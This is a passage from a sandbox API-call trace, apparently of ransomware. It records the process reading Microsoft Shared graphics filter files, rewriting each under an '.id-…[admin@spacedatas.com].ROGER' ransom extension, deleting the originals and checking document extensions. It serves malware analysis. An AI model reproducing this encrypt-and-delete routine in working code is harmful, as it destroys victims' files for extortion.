lpString2=".DLL") returned 1 [0055.624] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0055.624] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0055.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0055.962] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=241024) returned 1 [0055.962] CloseHandle (hObject=0x39c) returned 1 [0055.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0055.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0055.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0055.963] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.963] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0055.963] GetLastError () returned 0x0 [0055.963] ReadFile (in: hFile=0x39c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0055.969] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0055.973] ReadFile (in: hFile=0x39c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.973] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.973] SetEndOfFile (hFile=0x3d8) returned 1 [0055.973] CloseHandle (hObject=0x3d8) returned 1 [0055.973] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.973] SetEndOfFile (hFile=0x39c) returned 1 [0055.975] CloseHandle (hObject=0x39c) returned 1 [0055.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0055.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0055.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.976] lstrlenW (lpString=".doc") returned 4 [0055.976] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.976] lstrlenW (lpString=".docx") returned 5 [0055.976] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.976] lstrlenW (lpString=".pdf") returned 4 [0055.976] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.976] lstrlenW (lpString=".xls") returned 4 [0055.976] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.976] lstrlenW (lpString=".xlsx") returned 5 [0055.976] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.976] lstrlenW (lpString=".ppt") returned 4 [0055.976] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.976] lstrlenW (lpString=".zip") returned 4 [0055.976] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.976] lstrlenW (lpString=".rar") returned 4 [0055.976] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.976] lstrlenW (lpString=".bz2") returned 4 [0055.976] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.976] lstrlenW (lpString=".7z") returned 3 [0055.977] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.977] lstrlenW (lpString=".dbf") returned 4 [0055.977] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.977] lstrlenW (lpString=".1cd") returned 4 [0055.977] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.977] lstrlenW (lpString=".jpg") returned 4 [0055.977] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.977] lstrlenW (lpString=".doc") returned 4 [0055.977] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.977] lstrlenW (lpString=".docx") returned 5 [0055.977] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.977] lstrlenW (lpString=".pdf") returned 4 [0055.977] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.977] lstrlenW (lpString=".xls") returned 4 [0055.977] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.977] lstrlenW (lpString=".xlsx") returned 5 [0055.977] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.977] lstrlenW (lpString=".ppt") returned 4 [0055.977] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.978] lstrlenW (lpString=".zip") returned 4 [0055.978] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.978] lstrlenW (lpString=".rar") returned 4 [0055.978] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.978] lstrlenW (lpString=".bz2") returned 4 [0055.978] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.978] lstrlenW (lpString=".7z") returned 3 [0055.978] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.978] lstrlenW (lpString=".dbf") returned 4 [0055.978] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.978] lstrlenW (lpString=".1cd") returned 4 [0055.978] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0055.978] lstrlenW (lpString=".jpg") returned 4 [0055.978] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.978] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0055.978] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0055.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0055.979] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=73080) returned 1 [0055.979] CloseHandle (hObject=0x39c) returned 1 [0055.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0055.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0055.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0055.979] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.979] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0055.979] GetLastError () returned 0x0 [0055.979] ReadFile (in: hFile=0x39c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x11d78, lpOverlapped=0x0) returned 1 [0055.982] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0055.983] ReadFile (in: hFile=0x39c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0055.983] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.983] SetEndOfFile (hFile=0x3d8) returned 1 [0055.984] CloseHandle (hObject=0x3d8) returned 1 [0055.984] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.984] SetEndOfFile (hFile=0x39c) returned 1 [0055.985] CloseHandle (hObject=0x39c) returned 1 [0055.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0055.985] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0055.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.985] lstrlenW (lpString=".doc") returned 4 [0055.985] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.985] lstrlenW (lpString=".docx") returned 5 [0055.986] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.986] lstrlenW (lpString=".pdf") returned 4 [0055.986] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.986] lstrlenW (lpString=".xls") returned 4 [0055.986] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.986] lstrlenW (lpString=".xlsx") returned 5 [0055.986] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.986] lstrlenW (lpString=".ppt") returned 4 [0055.986] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.986] lstrlenW (lpString=".zip") returned 4 [0055.986] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.986] lstrlenW (lpString=".rar") returned 4 [0055.986] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.986] lstrlenW (lpString=".bz2") returned 4 [0055.986] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.986] lstrlenW (lpString=".7z") returned 3 [0055.986] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.986] lstrlenW (lpString=".dbf") returned 4 [0055.986] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.986] lstrlenW (lpString=".1cd") returned 4 [0055.986] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.986] lstrlenW (lpString=".jpg") returned 4 [0055.986] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.986] lstrlenW (lpString=".doc") returned 4 [0055.986] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.986] lstrlenW (lpString=".docx") returned 5 [0055.987] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.987] lstrlenW (lpString=".pdf") returned 4 [0055.987] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.987] lstrlenW (lpString=".xls") returned 4 [0055.987] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.987] lstrlenW (lpString=".xlsx") returned 5 [0055.987] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.987] lstrlenW (lpString=".ppt") returned 4 [0055.987] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.987] lstrlenW (lpString=".zip") returned 4 [0055.987] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.987] lstrlenW (lpString=".rar") returned 4 [0055.987] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.987] lstrlenW (lpString=".bz2") returned 4 [0055.987] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.987] lstrlenW (lpString=".7z") returned 3 [0055.987] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.987] lstrlenW (lpString=".dbf") returned 4 [0055.987] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.987] lstrlenW (lpString=".1cd") returned 4 [0055.987] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0055.987] lstrlenW (lpString=".jpg") returned 4 [0055.987] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.987] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0055.988] lstrlenW (lpString="PNG32.FLT") returned 9 [0055.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0055.988] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=302976) returned 1 [0055.988] CloseHandle (hObject=0x39c) returned 1 [0055.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0055.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0055.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0055.988] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.988] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0055.989] GetLastError () returned 0x0 [0055.989] ReadFile (in: hFile=0x39c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x49f80, lpOverlapped=0x0) returned 1 [0055.995] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x49f90, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x49f90, lpOverlapped=0x0) returned 1 [0056.000] ReadFile (in: hFile=0x39c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0056.000] WriteFile (in: hFile=0x3d8, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.001] SetEndOfFile (hFile=0x3d8) returned 1 [0056.001] CloseHandle (hObject=0x3d8) returned 1 [0056.001] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0056.001] SetEndOfFile (hFile=0x39c) returned 1 [0056.004] CloseHandle (hObject=0x39c) returned 1 [0056.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 1 [0056.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.004] lstrlenW (lpString=".doc") returned 4 [0056.004] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0056.004] lstrlenW (lpString=".docx") returned 5 [0056.004] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0056.004] lstrlenW (lpString=".pdf") returned 4 [0056.004] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0056.004] lstrlenW (lpString=".xls") returned 4 [0056.004] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0056.005] lstrlenW (lpString=".xlsx") returned 5 [0056.005] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0056.005] lstrlenW (lpString=".ppt") returned 4 [0056.005] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.005] lstrlenW (lpString=".zip") returned 4 [0056.005] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0056.005] lstrlenW (lpString=".rar") returned 4 [0056.005] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0056.005] lstrlenW (lpString=".bz2") returned 4 [0056.005] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0056.005] lstrlenW (lpString=".7z") returned 3 [0056.005] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.005] lstrlenW (lpString=".dbf") returned 4 [0056.005] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.005] lstrlenW (lpString=".1cd") returned 4 [0056.005] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.005] lstrlenW (lpString=".jpg") returned 4 [0056.005] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.005] lstrlenW (lpString=".doc") returned 4 [0056.005] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0056.005] lstrlenW (lpString=".docx") returned 5 [0056.005] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0056.005] lstrlenW (lpString=".pdf") returned 4 [0056.005] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0056.005] lstrlenW (lpString=".xls") returned 4 [0056.005] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0056.006] lstrlenW (lpString=".xlsx") returned 5 [0056.006] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0056.006] lstrlenW (lpString=".ppt") returned 4 [0056.006] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.006] lstrlenW (lpString=".zip") returned 4 [0056.006] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0056.006] lstrlenW (lpString=".rar") returned 4 [0056.006] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0056.006] lstrlenW (lpString=".bz2") returned 4 [0056.006] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0056.006] lstrlenW (lpString=".7z") returned 3 [0056.006] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.006] lstrlenW (lpString=".dbf") returned 4 [0056.006] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.006] lstrlenW (lpString=".1cd") returned 4 [0056.006] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0056.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0056.006] lstrlenW (lpString=".jpg") returned 4 [0056.006] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0056.006] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0056.006] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0056.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0057.242] GetFileSizeEx (in: hFile=0x3ec, 